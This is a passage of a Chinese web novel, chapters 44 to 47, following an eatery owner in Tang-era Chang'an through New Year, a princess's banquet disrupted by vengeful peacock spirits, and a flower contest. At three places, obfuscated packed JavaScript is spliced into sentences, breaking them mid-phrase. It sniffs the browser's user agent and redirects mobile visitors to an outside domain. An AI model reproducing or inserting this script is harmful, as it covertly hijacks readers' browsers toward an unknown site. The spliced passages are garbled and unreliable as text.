夜往深了过，很快便要到子时，蒲桃已经仰躺着睡着了，众人也有些无精打采，段知微去井水边洗一回水果，进来就看到袁慎己人不在。 阿盘正埋头刺绣防瞌睡，随手一指外面：“都尉嫌里头太闷热，出去吹风去了。” 段知微低头给蒲桃盖下被角，又把串了朱绳的压岁铜钱塞到她枕头里，而后也悄悄出了门。 袁慎己正坐在台阶上，今夜万里无云，群星闪烁，一只红苹果递到他面前。 “你怎么也出来了，外面凉。”他伸出接过苹果，指尖触到她的手心，像过电了一样很快缩了回去。 段知微坐到他旁边，也双手撑头看星星：“妾觉得......都尉今日心情不佳。” 袁慎己拿苹果的手一顿：“那段娘子想知道袁某为何心绪难宁吗？” 她默了一默：“若是都尉不想讲，妾绝不勉强，可若都尉哪一日需要找人倾诉了，妾就在食肆，备上好酒等着。” 段知微说得认真，声音不大，却如同一丝涓涓细流进了他的心房。 “其实......”他刚要开口，远处传来噼里啪啦的炮竹声。 硫磺的气息扑鼻而来，整个长安一片热闹红光。 “到子时了啊。”段知微兴奋站起来，笑着望他，对他行上一个标准的叉手礼：“袁都尉，新的一年祝你仕途坦荡，万事胜意。” 袁慎己也回望她，抱拳回礼：“祝段娘子喜至庆来，永永其祥。” 远处的炮竹声音越来越大，把食肆里昏昏欲睡的众人也都吵醒了，大家脸上洋溢幸福笑容，把在坊市买的炮竹搬出来，也放了起来。 44. 第四十四章 大年初一一早，段知微正准备煮一锅汤圆当朝食，金吾卫的武侯却到了食肆，也不知道跟袁慎己说了些什么，他蓦地站起来跟食肆众人道别，而后阴沉着脸走了。 蒲桃回房间换下了银红色并蒂莲襦裙，穿上一件寻常灰色小夹袄出来。 段知微正张罗众人吃朝食，看她换了衣服因问道：“正月初一，为何不穿新做的衣裳。” 蒲桃挑了朵最大的小桃花戴上道：“朱娘约我去八字娘娘庙前的集会逛逛，据说她的族人捕了只小年兽，朱娘叮嘱我不要穿红色衣裳，会吓到年兽。” 这八字娘娘庙附近可真是个危险的地界，段知微默了一默回她：“......那你自己注意安全。” 蒲桃朝食也没吃，开开心心晃着膀子走了。 余下几人围着火炉吃了碗汤圆，芝麻糖馅顺着光洁糯米皮流下来，很是香甜可口。 吃完甄回便回房去念书了。段大娘捣鼓了一早上的妆，粗黑阔眉，眉眼双颊涂得通红。 她说话又爱眉飞色舞，于是段知微就见她两短粗眉毛像蛾子翅膀在舞动，似乎带着一丝好笑。 段知微低头掩了掩嘴角的笑意，正欲站起身洗碗，却被段大娘拉住，要上街好生逛上一圈。 大年初一外头定然游人如织，乐游原赏梅花，曲江畔敲雪竹，东西两市作为长安的CBD，那就更不谈了。 段知微不太愿意，难得食肆休息，她准备窝在火炉边，磕着瓜子喝着红枣茶，翻几本志异故事打发时间。 阿盘也想起身回屋，同样被段大娘拦住，说正月初一便待在食肆有何意趣，把两人一道薅上驴车，浩浩荡荡向着东市进发了。 不出人的意料，东市人山人海。 越往东市的中心越繁华，地段越好，商铺越多，人流越大。有气势恢宏的酒楼，里头散发出一股诱人的酒菜香。还有服装铺子，为了招揽客人，门口挂着几匹上好的布匹，有那杏雨梨云样式的，鱼书雁帛样式的。有胡人师傅赤膊甩着手上的面团，手脚麻利的填进馅料，撒上芝麻，放进炉子里烘烤。 其中一个摊子特别打眼，一群人围着，圈得里三层外三层的。 段知微好不容易挤到了里头。只见一个异族人模样的中年男子，在地上铺了张精美的波斯毯子，摊子四周镶着金边和大棕榈叶，中间印着大朵大朵纵情开放的大马士革月季和波斯梨花，看着华丽又名贵，搁到现在能放进苏富比拍卖。 他先双手合十默念了些什么，而后热情的向一位围观的娘子发出邀请，示意她走上毯子。那娘子先是不安的摸了摸自己的步摇，与她同伴的几个笑闹着把她往前推，她脸上带着些好奇和不安，最终还是半推半就的迈上了波斯毯子。 霎时间，毯子的月季和波斯梨花仿若有了生命，争着抽芽往上生长，在波斯毯上竞相绽放，风过，落红成阵。引得四周一片叫好声。 这就是传说中的幻术吗，段知微看得震惊，夹杂在人群间疯狂的鼓掌。 在东市逛了一早上，大家都有些饿了，段大娘跑去买了几个炸油饼给大家分了一下。 炸得金黄的圆圆的油饼，还冒着热气，段知微咬上一口，炸得火候刚刚好，脆壳酥得掉渣，里头是葱拌白萝卜馅的，只是调味稍显寡淡。 也能理解，毕竟过年，各色调味料价格也涨了一截，段知微每每撒盐的时候都颇有些肉疼。 段大娘美美买了一篮子绢纱头花，加上几个香气刺鼻的香合，阿盘则是买了些彩色丝线，段知微则是进了干果铺子。 新鲜樱桃价贵，昨日袁慎己送了些来，把她馋虫勾了出来，今日正好见到干货铺，忙进去买了些撒着晶莹糖粒的樱桃脯、樱桃干，还有一种叫做椒盐樱桃的咸甜口的干果，想是因为果子酸涩，狠狠泡了几日糖水，甜得段知微有些倒牙。 该买的都买了，该逛的也都逛的差不多了，段知微就要喊其余二人回食肆，没想到段大娘忙拉住了她道：“等等。” 爽朗的段大娘难得忸怩了些，段知微好奇道：“还有何事？” 段大娘看了回地，又看了回天：“听闻东市那价值一贯钱的浮光锦......”她赶忙补充道：“老身只过去凑个趣儿，又不买......” 段知微：“长姑你这样云想夹缬的胡女美人会伤心的。” 段大娘有些讪讪：“老身就看看，真不买。” 段知微只好一边随着她往东市尾部走去，一边给她画饼：“待食肆生意好了，莫消说一贯钱的织锦，你要那苏绣也不是不能买。” 饼画多了的结果就是旁人开始敬谢不敏，段大娘并不接她的话，而是一气儿拉着她跟阿盘往前走。 明明是过年，东市尾特别萧条，几家酒肆果肆衣帽肆都没开门，只有一个老媪踹着手坐在胡床上晒太阳。 浮光锦在哪儿呢？抢破头的长安仕女又在哪儿？ 段大娘忙走过问老媪，老媪打量她两眼道：“前些日子便被官服模样的人带走了，想来是惹了些官司。” 段知微莫名松了口气，段大娘很失落。 几人就驾着驴车返回段家食肆，甄回在门口等着，急得直跺脚。 “这是怎么了”段大娘看着他笑：“别着急，在东市为你买了两只羊毫笔，给你春闱之时用着。” 甄回面上一片焦急之色：“现在哪儿是说那个的时候，有人来找段娘子，已经在里头坐了一会儿了。” “谁啊，这大过年的，甭管什么生意，不接。”段知微还坐在驴车上吃她的樱桃干，她又在东市淘了些话本子，就准备过年期间慢慢看呢。 甄回道：“穿着宦官服，想来是宫中的人。” 段知微一口樱桃干卡在喉咙里。 几人慌忙从驴车上跳将下来，理了理衣裙上的褶儿进了食肆。 里头几个官服模样的侍卫站着，一位白面穿着宦官服的人坐着：“肆主这是回来了，倒是让咱家好等。” 段知微第一次见到传说中的太监，目瞪口呆的打量他，倒是段大娘机敏，上去就塞上一装满荷包的铜钱赔笑着道歉。 宦官这才满意站起来：“万福公主新得一匹浮光锦，织就成一幅百鸟裙，欲开上一席酒宴，不知哪位官家娘子提及段家食肆做的好奶茶，走吧，段娘子，若这膳食做的成功，公主必然少不得赏。” 段知微内心其实不太愿意，虽说皇家赏赐丰厚，整治的奶茶若是公主不满意，那不是掉脑袋的事情。 但是如果直接拒绝，那就是必然掉脑袋的事情，她只好扬起一个僵硬假笑：“承诺公主信任，妾身这遍去公主府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765945|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走上一遭。” 公主不在府中，而在青云观中，全长安最大的道观，隐在终南山间，常年烟雾缭绕，或许是因公主在此处，门口一堆戒备森严的千牛卫，还需宦官手持令牌才能进。 只不过即使是道观，这儿的膳食房也比段家食肆大了几倍，火房很是宽敞，已然开始热火朝天的运作起来，段知微刚被宦官引进去就闷了一身的细汗。 宦官唤来类似一个类似厨娘的人“这是从食肆请来的师傅，琅琊王氏的公子向公主推荐的，特特请她来做吃食的，你找个空灶台给她。” 那厨娘爽快应了，她随手指了指一个空灶台，让段知微过去。 段知微搬了柴便开始填灶火，趁着热锅的时候转过去看了眼火房，庖丁们各自忙各自的，切剁声音不绝。一个有一人高的大灶上正放着一大蒸笼，蒸汽伴着阵阵浓郁甜香铺面而来。 火房后门大敞。从段知微的视线可以看到一身形高大的庖丁一边细细烤制整只全羊正在火上烤制着。 最有意思的是进来个婢女，手上的端着个红木盘，木盘上放着一大块冰块，有庖丁匆匆跑来接过，又拿起刨刀用力把冰块刨成冰屑状，放入五色琉璃杯子里，上面细细倒一层蔗浆，点缀点新鲜水果。 竟然大冬天吃冰的酥山，公主殿下还真是会享受。 段知微叹口气来。 所幸这儿火房材料齐全，樱桃、葡萄、荔枝等稀有水果也是随拿随取。段知微取了些玫瑰花、桂花蜜、雪梨、茉莉等，放进陶罐里慢慢煨煮。 奶茶做起来简单，并不像那烤全羊一样需要燃烧身心去?制作，段知微也并不指望能获得赏赐，能平安回家就行了。 另一边万福公主穿着珠灰纱制的道袍，头发只用一根和田玉簪所束着，她看上去并无什么公主架子，脸上一片温和之色，观之可亲。 官家仕女以及一些与公主熟识的清雅文人都已落座，离万福公主最近的便是袁慎己的好友，琅琊王氏的王潜。 他刚自江南游历回来，又将一些颇有意思的奇闻异事与公主讲。 公主听得颇得趣味，又摇摇头：“琅琊王氏，华夏首望，你不思功名，只在这上头有兴致，想来你宫中的姐姐必有忧思。” 王潜毫不介怀，抚须大笑道：“人各有志嘛。” 他似乎并不想深入这个话题，眼珠一转道：“臣下推荐给公主的，那位有许多奇遇的段氏娘子可有请到？” 一旁侍候的宦官忙哈着腰点头：“一早儿请来了，正在火房里煮奶茶。” 公主今日颇有雅兴：“让她过来吧，也赐个座儿。” 她抚了抚染了凤仙的指甲道：“王君如此力荐这位娘子，怕不仅是因为那些奇闻异事吧。” 王潜起身行礼：“公主聪慧，臣可真属于是望其项背了。” 他卖了下关子而后道：“前些日子中书令明里暗里欲将嫡出的长女嫁与金吾卫的袁慎己，结果碰了一鼻子灰，臣记得公主还在感叹‘崔家那般品貌的娘子都不要，他袁慎己难道要娶上一位天上的仙女’？” 公主原来斜歪在美人塌上，闻此当是真正来了兴致，坐直了身子：“原来如此......那本宫要好好看看，那段家的娘子，是何等倾国倾城的美貌，将那不解风情的冰山蛊惑了去。” 45. 第四十五章 恐怖的烧尾宴 段知微已经打算走了，听到公主邀请时整个人都不好了，她未学过长安的这些礼仪，生怕在人前失仪。 在一旁的宦官突然像换了个人似的，一路殷勤地给她引路，好像生怕她跑了。 二人自火房一路行至后院，在遍布菩提树的夹道间里遇到了另一位娘子，那娘子生得清秀白净，穿一素色夹袄，神色间有些怯懦。 不太像是达官贵族家的女儿。 于是段知微先朝着她搭了个话：“娘子万安，你也是被公主请来的客人吗？” 那娘子没想到段知微会突然向她搭话，吓了一跳，而后嗫嚅道：“妾身青鸾，是来此为公主想要的衣裙的。” 原来是这样，段知微忙道：“今日妾的长姑还特意去了趟东市寻这浮光锦，没想到肆铺未开门，隔壁的老媪说是被几个官差样的人带走了，还以为惹了官司，原来是给公主缝制浮光锦了啊。” 那青鸾脸色苍白，闻言只是浅浅点了一下头。 二人来到公主的宴席之上，其间已然是觥筹交错一片丝竹之声，座间各类文人才子，美貌仕女正在闲聊饮酒，公主邀请段知微坐到她的身边去。 段知微也不知面对皇族要行怎么的礼，只得双手轻轻搭于腰间，微微屈膝，口中称：“公主殿下吉祥止止，百福具甄。” 毕竟新春，无论如何，说些讨巧的吉利话定然是不错的，公主先是愣了一下，而后笑道：“这吉祥话倒是颇为有趣。” 她仔细打量段知微两眼，颇为满意的笑了：“雪肤杏眼，确实是个美人。” 段知微一头雾水，不知自己容貌跟这场宴席到底有什么关系，只好笑了一笑在食案后头坐下。 不愧是公主设下的烧尾宴，单笼金乳酥、曼陀养夹饼、贵妃红、长生粥一连叠儿的往食案上。 段知微看了半日，觉得那金乳酥做成一朵富贵牡丹花样式，看着有金色渐变样，在小蒸笼里氤氲着奶香，去极是精致。 她谨慎挑选其中一朵夹到碗中，轻轻抿上一口，外皮松软，一口下去浓郁的奶香味便弥漫了整个口腔。 段知微突然从中得到了灵感，虽然牡丹样式的面点她实在是不会雕刻，但是这面点肖似现代那种奶黄包，里面搭配的是绵密咸蛋黄流沙馅料。 如果她能复刻这种甜品，而后在食肆里头卖，再宣称这灵感来源自万福公主的烧尾宴,那......那不是能赚个盆满钵满。 段知微沉浸在对这单笼金乳酥的幻想当中，全然不觉宴会已近尾声。 两位宫装模样的女郎推着个高大的雕花木架过来，上头是一件华贵的襦裙，段知微离得远，远远望着那衣裳像一条流动着的、闪闪发光的五色河流。 无论是为了奉承万福公主，还是真心被惊艳，座上宾都是一连的倒吸凉气之声。 这上面是高丽进贡的、朝霞绸织就的锦绣红衫，袖子两侧是变换颜色的浮光锦，襦裙则是大片大片孔雀的尾羽，如金绿色泛着光芒的丝绒，上头点缀无数个“眼睛”状的图案，神秘又优雅。 这裙子从前面看、从侧面看、在阳光之下，在阴影之中，皆是不同色彩不同芳华。 万福公主颇为自得，她是圣人第二十四位公主，母亲仅仅是个美人，虽说天家富贵，但在众位公主中，确实不那样受重视。 她沉溺在所有人艳羡的目光中，开口道：“此裙名为羽衣，尾羽是自南方来的神鸟......” 座间一位女郎却突然像发现了什么，指了指天空，喊道：“那是什么？” 如黑云压境般，远处突然飞过来一群黑色的鸟儿。 段知微也抬头，心想：“这是何种情况，难道说香妃引来了蝴蝶，羽衣能引来百鸟朝凰？” 很快她便知道，自己想法颇为天真，只见那些鸟儿如同一支自幽冥深处而来的黑暗军队，闪电般地带着悲鸣飞速向下冲着公主的宴席冲了过来。 众人这时才觉察到不妙，尖叫着散开，有些直接就躲到食案底下，一群贵族看上去竟很是狼狈不堪起来。 段知微本人也很慌张，低下身双手抱住头，耳边知听到雀鸟高亢的悲鸣和啄食的声响。 鸟儿的袭击来得快去得也快，不消一会儿，群鸟竟自散了，众人这才出来，发现那闪光的华服，竟然被群鸟啄的七零八散，破破烂烂的，只剩两片残破的尾羽落在地上。 段知微咋舌，这要是落在人身上，简直不敢想...... 守在观外的千牛卫匆匆赶了进来，只不过群鸟早就散的没影儿了，万福公主自出身以来第一次丢这么大的人，大怒，下令彻查。 层层叠叠的千牛卫把青云观围住，既不准外人进来，也不准里头人出去。 毕竟里头大部分都是贵人，道观给每个人安排了一间厢房，段知微被分到了最末尾的一间房子，竟然和那位名唤青鸾的娘子在同一间。 段知微在烧尾宴上吃了不少东西，觉得有些口渴，从食案上拿起一个黑釉碗，细细擦拭干净，倒了碗凉水一气儿饮下，而后问那青鸾要不要来一些。 青鸾像是受了惊吓，摇摇头，而后盯着段知微幽幽道：“你听过万鸟裙吗？” 段知微毕竟只是个开饭店的，于历史知识上浅薄，若非要牵扯到有鸟羽制成的衣裙，她只听说过霓裳羽衣。 这事儿像闹大发了一样，大理寺来了一趟，圣人嫌弃千牛卫守卫公主不利，调走了一批，又来了一批金吾卫。 段知微也莫名被一不知何官职的人盘问半天，她本只是个小食肆的肆主，又是奉公主诏命前来，实在是没什么嫌疑，问完就让她走了。 倒是那位青鸾娘子，虽然衣裙是和宫中尚方一起制作的，但是锦缎是她织造而成，于是便被两个官差模样的人盘问到现在还没出来。 段知微第一次遇到这种场面，还稍微有些后怕，出门没注意绊倒了树枝，将将要摔倒时跌入一个温暖的怀抱。 她仰头，袁慎己正一脸关切地望着她，而后问：“段娘子还好吗？” 今日并未轮值到他，只是由于路过段家食肆，听闻她被万福公主请走，又得知青云观出了这么大一件事，才匆忙与金吾卫中郎将调班。 段知微见到他，心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783656|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍安，又颇为委屈的撇撇嘴：“这可真是无妄之灾了。” 她把自己被邀请到这儿，又坐到公主宴席上，遭逢群鸟攻击之事与他这么一说。 袁慎己正色道：“目前大理寺怀疑对象便是那位织造浮光锦的青鸾以及宫中的尚方，你不必担心，有袁某在此，不会有事情的。” 提及那位青鸾娘子，段知微颇有些好奇的问他：“都尉听过万鸟裙吗？” 岂料袁慎己听了这话，难得对着她阴沉下脸，也不避嫌，一下使着蛮劲把段知微带到□□一假山山洞中，观察了一下四处无人。 赶忙道：“这是大忌！你听谁讲的。” 段知微老老实实说：“青鸾。” 被废黜自尽而亡的安乐公主曾吩咐宫中巧匠以百鸟羽毛织成两条“百鸟毛裙”，一条献给皇后韦氏，一条自用。 据《新唐书》记载：此裙“日中影中，各为一色，百鸟之状。” 据说安乐公主得到这两条百鸟裙后，上至达官贵人，下至黎民百姓皆效仿之，那段时期，山林中各色奇珍异兽，搜山荡谷，扫地无遗。 当今圣人仁善，视此物为祸国的不详之物，已严令不准射杀山林奇珍只为一条裙裾。 段知微赶紧捂住嘴，这下总算知道何为“祸从口出”了。 另一旁，宫女碧霄端着一碗安神汤推开朱漆门，走进公主寝宫很亮堂，嵌铜琉璃香炉在底下似有若无的轻吐御赐的龙涎香。地上铺着厚重蜀锦地衣，地龙里金丝碳向外弥漫着暖意。 这炭火是特贡宫中的，虽然很温暖但是不显干燥，碧霄送上安神汤，而后拿起篦子给嚷着头痛的万福公主篦了篦头发。 后者闭上眼睛问道：“进展如何了。” 碧霄小心翼翼回道：“问过大理寺少卿了，还未有进展。” 公主睁开眼，厉声道：“这群废物。”而后将手中篦子扔出去，正好砸中了孔雀纹逯顶银方盒。 碧霄端着空碗从房间内退出来，卸掉怯懦讨好的神色，冷冷哼了一声摔袖离去。 今夜暗夜如墨，不见半丝光亮，段知微还在厢房沉睡，青鸾悄悄起身出了门。 碧霄在一间封禁着各色黄符纸的房间门口焦急等待，见到她来，赶忙握一握青鸾的手，打开了那道封禁良久的门。 一股儿灰尘铺面而来，这间厢房里头布满各色符纸，只中间一个巨大的红木架子放着一间落满灰尘的衣裙。 “终于找到了。”碧霄和青鸾兴奋道。 “竟然是你们。”一道愤怒的声音自外面响起。 一群金吾卫已经悄然包围，手中亮起了火把，火光在冬风的肆虐下东倒西歪。他们各个神情肃穆，手上拿上了弓箭。 在另一旁，捉妖司的独孤律令竟也现身到了此次，与一脸肃杀之气的袁慎己不同，他看上去颇为轻松，就好像只是来青云观上香，他摇着手中羽扇：“原来是来自南方的神鸟啊，何必给人间的皇室当宫婢，享受你的供奉，那样不好吗？” 碧霄将青鸾护在后头，双眼变得赤红：“我们雀族遭受的痛苦，你们懂什么？” 46. 第四十六章 “春鲜上市” 美丽的孔雀遍布在滇国的密林深处，世代过着无忧的生活。当地人歌颂其为“神鸟”，将其绘在彩瓶、杯器、石窟壁画之上。 只是这日，一道弓箭厉声划破了雨林里的平静。 碧霄厉声道：“为了人族公主的一件衣裳，我们全族都被捕杀。” 万福公主脸色惨白了一下道：“本宫不知......” 青鸾道：“你那件用于炫耀的罗裙，都是我族夙夜拔掉的尾羽。” 远处隐隐有火光燎了出来。 安乐公主那件万鸟裙已随其消失在了重重大火之中，还剩下这一件献给韦后的，由于遍布前朝时候的无数密辛和诅咒而被封印进了青云观里。 金吾卫忙着救火，被被捉妖司律令拦住。 青鸾和碧霄投身入了火场之中。 独孤玠摇着扇子、望着漫天火光道：“想来这应该是最好的、化解万鸟裙怨气的方式了吧......” 厢房之上冒出的隐隐约约的烟气，如同两只巨型的孔雀，展翅朝着天空飞去。 折腾了一宵，段知微第二日总算是平安回到了食肆，获得了众人一致的热情关心，简直是得到了圣人般的待遇，哪怕只是想喝碗水，蒲桃都给她打好亲自送过来，让人觉着万分的感动。 却听闻万福公主因为这件不详的万鸟裙在宫中挨了好一顿申斥，目前在公主府里头面壁思过。 反倒是段知微因祸得福，成为公主座上宾的事情有意无意的被段大娘透露出来，左邻右舍都用艳羡的表情看着她，哪怕是有竞争关系的胡饼铺的肆主都不敢再对着她翻白眼。 段知微莫名有了点狐假虎威的优越感。 在青云观耽误了春节几日假期，段知微狠狠在食肆里闭关了一天，把没吃到的炒瓜子、胶牙饧尝了个遍，再把东市买的几个画本子都翻完了。 第二日食肆就又要营业了。 春节过后，东风乍起，万物有复苏之相。市面上的“春鲜”也悄悄如破竹的春笋冒出了头。 她吃瓜子吃到上火，嘴边一片溃疡，菜肆送来时蔬时，段知微便一个劲儿的选择那些看上去能清热解火的芥菜和青菜。 段知微很喜欢烟雨江南，有些饭店有停靠在湖中的画舫，坐在其间，来上一笼皮薄如纸、色如翡翠的翡翠烧麦，再来一壶茶色碧青的明前龙井，画舫在湖中悠悠地开，她饮着龙井望窗外花开满楼...... 不过在长安这种幻想可以说是破碎了，她把一大袋子青豆扔进木盆子里，食肆几人围坐在一起慢慢剥着。 段大娘自外面进来，手上拿着一封精致的信贴递给段知微。 “什么呀？”她擦了擦手上的水痕接过。 每年三月，皇家的曲江园林限时对外开放，长安仕女们坐上结着彩帛的大车缓缓来到曲江池畔，在此处设“裙幄宴”，再各自佩戴上最美的名花，呼朋唤友地走在曲江园林夹道间，百花与美人争奇斗艳，最后以奇花多者为胜。 时人有诗云：“草色风晴绿满坡，佳人拾翠众相过。衣裳带得芳香气，一笑归来春意多。” 这信贴便是杜有容送来的，为了父母，她最终还是嫁入了裴家，河东裴氏地位高崇，杜有容在贵妇间还是颇有地位的。 里头的内容除了一堆吉利话外，便是邀请她一起至曲江园林斗花。 “我才不去”段知微如是说道。 现在是一年间鲜花最贵的时候，上次那价值半贯钱、品相不佳的姚黄，目前已经升值至一贯半钱。 花肆也想得很绝，大朵富贵粉色牡丹配刺桐；鲜色芍药围上一圈清淡兰草，做出的别致造型即使天价，也有女郎们竞相追捧。 段知微不愿意去，也是因为这花价格实在是高，买了不划算，若是随意在水边揪上一枝腊梅夹在衣襟上就跑到皇家园林里头。 一定会被嘲笑。 还是段大娘在一旁劝说道：“若只是单纯的曲江游玩那也就罢了，你这回受了裴家新妇的邀请，定然能掌握到一手人脉，也有利于食肆的扩张。” 段知微觉得自家长姑简直是个经商的天才。 第二日一早，一大木盆的嫩青菜被挑选出来细细剁碎成了细茸，布袋装好挤出水分，倒入大量白糖和猪板油拌匀，伴着猪油的荤香和青菜的清香，看上去油润润很有食欲。 接下来就是烫面了，要将面粉烫成雪花面，这一步段知微是在后院完成的，北方人多吃发面，烫面少，她寻思这道翡翠烧麦要当自己食肆的绝活，不能被旁人瞧见了。 把面擀成一个个圆圆薄薄的烧麦皮之后就可以开始包了。 段知微当着大家们慢动作教了一遍，烧麦皮摊在左手掌心，右手用竹刮上馅。左手将面皮窝起，右手细细给烧麦捏褶子，最后在开口处镶上些红色火腿碎。 阿盘手巧，看一遍就会了，蒲桃年纪小，手掌也小，握不好，馅料也是包的时少时多，最后撒了一大撮火腿末在上面，把段大娘心疼个绝倒。 一锅翡翠烧麦上蒸笼沸水锅蒸，段知微提醒众人：“这烧麦只能蒸一小会儿，时间不能长，馅心变了颜色就不好看了。” 众人点头称是。 今日朝食仍旧是卖猪肉玉尖面加上一大锅香浓豆浆，只不过素馅的没有了，要想吃素馅的，那只能来上一笼翡翠烧麦。 “翡翠”二字引起了众位食客的好奇，又加上段知微在一旁的强烈推荐，于是除了猪肉玉尖面的忠实拥趸，大部分食客都愿意点上一笼翡翠烧麦。 终于第一笼翡翠烧麦出了锅，这烧麦形如石榴花，皮薄如纸，透过表皮能隐约看到碧绿色的馅料，上头撒着的红色火腿碎则是万绿丛中一点红的点缀。 因今年青菜刚上，都选的极肥极甜的馅料，咬上一口薄皮软糯又微微带着点嚼劲，如同碧玉消融，口感肥甜。 不出段知微意料的，这被称为淮扬点心“双绝”之一的翡翠烧麦，在食肆大受欢迎。 她一早上忙得晕头转向，蒲桃却从食肆外捧回来一个小木盒：“一个漂亮姐姐送过来的。指明要给段娘子。” “这什么呀？”段知微接过，她正想趁机教育一下蒲桃不要随便跟陌生人搭话当心有拐子，打开木盒一看愣住了。 里头一朵娇艳欲滴的蔷薇花，花瓣层层叠叠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783657|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，整个花朵呈现蓝色样，中间黄色花蕊微微凸起，花朵很是特别。 盒子里还有一张纸条，大概写的是深受食肆众人帮助感念至今，听闻曲江皇家园林很快便将有“斗花”游宴，赠上一朵染色蔷薇花，希望能帮到段知微。 落款是海迪耶。 段知微轻巧拿起花，这花瓣质感摸上去细腻而柔软，将鼻子凑过来，甚至还有淡淡清香。 “原来是花妖的报恩”她心想。 段知微这日蹭了下杜有容那辆系着彩帛的油壁香车，偷偷打了帘儿往外一看，通往城东南的曲江大道上已经是车水马龙。 风过，一阵儿浓烟珠翠脂粉香气就钻到段知微鼻子里，她忙掏出手绢，而后狠狠打了个喷嚏。 杜有容今日穿了件朱红色绣并蒂莲的华服，头上簪一大朵牡丹，整个人看上去都很有钱，段知微这么赞美她时，她悄悄翻了个白眼。 这回她在车上对着段知微耳提面命：“一会儿裙幄宴都是世家大族的贵女，礼仪上你需得小心着些。” 段知微带了一大盒子翡翠烧麦和千层油糕来此，目的简单明了，就是为了推销自家食肆的食品，听杜有容这话，立刻点了点头：“知道。” 杜有容打量一眼她头上蓝色蔷薇花，反而笑了：“不过你既已成了公主座上宾，头上又簪了如此昂贵一朵蔷薇，定是无人敢小觑了你。” 段知微为方便干活，平日都梳个小巧交心髻，今日为这蓝蔷薇，特地搞了个双环望仙髻，又穿了身蓝色卷草葡萄纹襦裙，整个人很有些端庄仙娥的意味。 “争攀柳带千千手，间插红花万万头”已经有成群结队的贵女摇着团扇穿梭在园林夹道间。 曲江两岸风光好，如同徐徐展开的一幅画卷，嫩柳依依，随风摇曳，深红浅红的桃花欲开还羞，一片柳影花明的明媚景象。 岸畔已经有了许多帷帐，青毡的定然是平民的，杜有容无视那排密密麻麻的帷帐，径直带着段知微进了其中一顶最大的，飘着彩帛的帷帐中。 这帷帐得有寻常人家的厅堂大了，里头已经热热闹闹坐满了各色贵女，杜有容毫不客气坐到最上座，段知微坐到她旁边。 各色贵女仍在叽叽喳喳，如满园的花，想来是费了一番心思的，有人梳着可爱的惊鸿髻插着淡色的绣球；有人梳着高高的义髻，头上一朵半开的魏紫牡丹。 段知微环视一圈，却在最角落里看到个灰色夹袄的姑娘，只在衣襟上簪了一串茉莉花环，梳着简单的单髻，虽打扮素净却难掩倾城之色。 她旁边的娘子则是恰恰相反，水红的菱花夹袄，墨绿的宝相花纹襦裙，梳着个夸张的云髻，插了一脑门的紫色蝴蝶兰，倒是颇显夸张。 杜有容见她好奇，斜身用团扇遮住嘴巴，低声道： “那两个娘子是前定远将军留下的两个女儿，灰衣姑娘是第一任主母的女儿，那个穿的怪里怪气的则是第二任，目前当家主母的女儿，那恶毒继母对先头的女儿极其恶劣，是出了名儿的。” 于是段知微饮一口酪浆，颇为同情地看下那位灰衣娘子，心想： “原来是灰姑娘。” 47. 第四十七章 这无聊的斗花宴进行到一半，段知微开始按捺不住，站起来准备四处分发翡翠烧麦和千层油糕。 她未打开食盒前，女郎们对段知微突然开始推销吃食颇为不屑，但看在杜有容的面子之上，再加上段知微鬓边那朵一看就很名贵的蓝蔷薇，倒也没人对她恶语相向。 但是官宦家娘子想表达自己的不屑有特别的方式，比如用团扇挡住面孔，低头聊天而决计不看段知微。 但是段知微打开食盒以后，情况发生了极大的转变。 这两样吃食放在小蒸笼里很像两样亮眼的珠宝，翡翠烧麦碧翠油润。千层油糕则讲究个菱形块儿，芙蓉色。上白面粉加白糖做成微白半透明状，最上面撒满粉红色糖瓜丝儿，乍一看像开满了桃花。 段知微厚着脸皮给千层油糕取名“桃花芙蓉糕”，正适合长安仕女这种视觉动物。 这油糕做起来也颇为复杂，每层都擀得极薄，一共要交叠六十四层，吃起来绵软甜润，甜香清雅，而且不会粘牙。 她一张巧嘴又各种宣传这芙蓉糕美容养颜的神奇功效。段知微今日为了迎合这油糕给自己脸上涂了些紫茉莉粉研的胭脂，她生得白净，今日也颇有些“桃花芙蓉面”的意味，给美容养颜的神奇功效添上几分说服力。 女郎们可以对美味吃食没什么兴趣，但是对养颜的追求可自古至今都没变过。 因此当段知微抱着大食盒在狭小的帷帐里艰难前行并且推销段家食肆的时候，获得了众多女郎的热烈欢迎，那本来要表达不屑的娘子，也坐直身体露出个真诚的微笑。 段知微走到灰衣娘子面前，她穿着灰色带补丁夹袄，眼神有些瑟缩，段知微觉得那位灰衣娘子颇有些可怜，因此着意多给了她一个，那位灰衣娘子向段知微投来了感激的眼光。 